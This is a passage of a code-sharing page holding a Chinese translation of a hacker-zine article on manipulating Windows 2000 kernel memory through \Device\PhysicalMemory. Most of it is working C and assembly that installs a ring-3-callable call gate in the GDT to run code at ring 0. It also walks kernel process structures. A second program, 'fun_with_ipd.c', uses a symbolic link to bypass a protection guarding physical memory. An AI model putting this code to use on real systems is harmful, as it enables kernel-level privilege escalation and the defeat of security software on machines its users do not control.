📄 玩转windows -dev-mem.txt
字号:
mov esi, CurMap.vAddress
push esi
call MmGetPhysicalAddress
mov CurMap.pAddress, eax // save low part of LARGE_INTEGER
mov [CurMap+4], edx // save high part of LARGE_INTEGER
popf
popad
retf
}
}
// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
WORD farcall[3];
HANDLE Thread = GetCurrentThread();
farcall[2] = GdtMap.Segment;
if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
printf("error: unable to lock function\n");
CurMap.pAddress.QuadPart = 1;
} else {
CurMap.vAddress = vAddress; // ugly way to pass argument
CurMap.Offset = (DWORD) vAddress % Granularity;
(DWORD) CurMap.vAddress -= CurMap.Offset;
SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(0);
_asm call fword ptr [farcall]
SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID) Ring0Func, 0x30);
}
return(CurMap.pAddress);
}
PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
PHYSICAL_ADDRESS add;
if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
} else {
add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
}
return(add);
}
void UnmapMemory(PVOID MappedAddress) {
NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}
int InstallCallgate(HANDLE Section, DWORD Function) {
NTSTATUS ntS;
KGDTENTRY gGdt;
DWORD Size;
PCALLGATE_DESCRIPTOR CgDesc;
_asm sgdt gGdt;
printf("virtual address of GDT : 0x%.8x\n",
MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
GdtMap.pAddress =
GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
Size = gGdt.LimitLow;
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
0L, Size, &GdtMap.pAddress, &Size, ViewShare,
0, PAGE_READWRITE);
if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
printf("error: NtMapViewOfSection (code: %x)\n", ntS);
return(0);
}
GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
GdtMap.Desc=NULL;
(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
CgDesc--) {
//printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
if(CgDesc->present == 0){
CgDesc->offset_0_15 = (WORD) (Function & 0xFFFF);
CgDesc->selector = 8;
CgDesc->param_count = 0; //1;
CgDesc->some_bits = 0;
CgDesc->type = 12; // 32-bits callgate junior :>
CgDesc->app_system = 0; // A system segment
CgDesc->dpl = 3; // Ring 3 code can call
CgDesc->present = 1;
CgDesc->offset_16_31 = (WORD) (Function >> 16);
GdtMap.Desc = CgDesc;
break;
}
}
if (GdtMap.Desc == NULL) {
printf("error: unable to find free entry for installing callgate\n");
printf(" not normal by the way .. your box is strange =]\n");
}
GdtMap.Segment =
((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
printf("Allocated segment : %x\n", GdtMap.Segment);
return(1);
}
int UninstallCallgate(HANDLE Section, DWORD Function) {
PCALLGATE_DESCRIPTOR CgDesc;
for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
CgDesc--) {
if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
&& CgDesc->offset_16_31 == (WORD) (Function >> 16)){
memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
return(1);
}
}
NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
return(0);
}
void UnmapVirtualMemory(PVOID vAddress) {
NtUnmapViewOfSection((HANDLE) -1, vAddress);
}
PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
PHYSICAL_ADDRESS pAddress;
NTSTATUS ntS;
DWORD MappedSize;
PVOID MappedAddress=NULL;
//printf("* vAddress: 0x%.8x\n", vAddress);
pAddress = NewGetPhysicalAddress((PVOID) vAddress);
//printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
// CurMap.vAddress, CurMap.Offset);
//printf("* pAddress: 0x%.16x\n", pAddress);
// check for error (1= impossible value)
if (pAddress.QuadPart != 1) {
Size += CurMap.Offset; // adjust mapping view
MappedSize = Size;
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
0L, Size, &pAddress, &MappedSize, ViewShare,
0, PAGE_READONLY);
if (ntS != STATUS_SUCCESS || !MappedSize) {
printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
vAddress, ntS);
return(NULL);
}
} else
MappedAddress = NULL;
printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
MappedSize, MappedAddress, Size);
return(MappedAddress);
}
void DisplayProcesses(HANDLE Section) {
int i = 0;
DWORD Padding;
PEPROCESS CurProcess, NextProcess;
PVOID vCurEntry, vOldEntry, NewMappedAddress;
PLIST_ENTRY PsCur;
// first we map PsActiveProcessHead to get first entry
vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
if (!vCurEntry)
return;
PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
// most of EPROCESS struct are located around 0xfc[e-f]00000
// so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
//printf("==> Current process: %x\n", CurProcess);
// we map 0x100000 bytes view so we store offset to EPROCESS
Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;
// check if the next struct is already mapped in memory
if ((DWORD) vCurEntry<= (DWORD) NextProcess
&& (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
// no need to remap
// no remapping so we need to calculate the new address
CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);
} else {
CurProcess = NextProcess;
// unmap old view and map a new one
// calculate next base address to map
vOldEntry = vCurEntry;
vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);
//printf("link: %x, process: %x, to_map: %x, padding: %x\n",
// PsCur->Flink, TO_EPROCESS(PsCur->Flink),
// vCurEntry, Padding);
// unmap old view
UnmapVirtualMemory(vOldEntry);
vOldEntry = vCurEntry;
// map new view
vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
if (!vCurEntry)
break;
// adjust EPROCESS structure pointer
CurProcess =
(PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
// save mapped address
NewMappedAddress = vCurEntry;
// restore pointer from mapped addresses space 0x4**** to
// the real virtual address 0xf*******
vCurEntry = vOldEntry;
}
// reajust pointer to LIST_ENTRY struct
PsCur = &CurProcess->ActiveProcessLinks;
printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
CurProcess->ImageFileName[0] ?
CurProcess->ImageFileName : "[system]");
i++;
}
UnmapVirtualMemory(vCurEntry);
}
int main(int argc, char **argv) {
SYSTEM_INFO SysInfo;
OBJECT_ATTRIBUTES ObAttributes;
NTSTATUS ntS;
HANDLE Section;
HMODULE hDll;
INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
printf(" *** win2k process lister ***\n\n");
GetSystemInfo(&SysInfo);
Granularity = SysInfo.dwAllocationGranularity;
printf("Allocation granularity: %lu bytes\n", Granularity);
InitializeObjectAttributes(&ObAttributes,
&ObString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
hDll = LoadLibrary("ntoskrnl.exe");
if (hDll) {
MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
(DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress);
FreeLibrary(hDll);
}
ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
&ObAttributes);
if (ntS != STATUS_SUCCESS) {
if (ntS == STATUS_ACCESS_DENIED)
printf("error: access denied to open
\\Device\\PhysicalMemory for r/w\n");
else
printf("error: NtOpenSection (code: %x)\n", ntS);
goto cleanup;
}
if (!InstallCallgate(Section, (DWORD) Ring0Func))
goto cleanup;
memset(&CurMap, 0, sizeof(MAPPING));
__try {
DisplayProcesses(Section);
} __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
printf("exception: trying to clean callgate...\n");
goto cleanup;
}
if (!UninstallCallgate(Section, (DWORD) Ring0Func))
goto cleanup;
cleanup:
if (Section)
NtClose(Section);
return(0);
}
----[ 5.4 fun_with_ipd.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"
int main() {
NTSTATUS ntS;
HANDLE SymLink, Section;
OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");
InitializeObjectAttributes(&ObAttributes,
&ObNewName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
&ObAttributes, &ObName);
if (ntS != STATUS_SUCCESS) {
printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);
return(0);
}
ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
if (ntS != STATUS_SUCCESS)
printf("error: NtOpenSection (code: %x)\n", ntS);
else {
printf("\\Device\\PhysicalMemory opened !!!\n");
NtClose(Section);
}
// now you can do what you want
getch();
NtClose(SymLink);
return(0);
}
--[ 6 - 结论
我希望本文能帮助你明白基本的Windows核心对象操作。据我所知,你可以完全跟linux's /dev/kmem
一样做任何事情,而且没有任何限制,简直超出了你的想象。 :)
我也希望本文能让Linux的纨绔子弟去读读。 (Refdom: 嘿嘿)
Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]
--[ 7 - References
[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software De
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -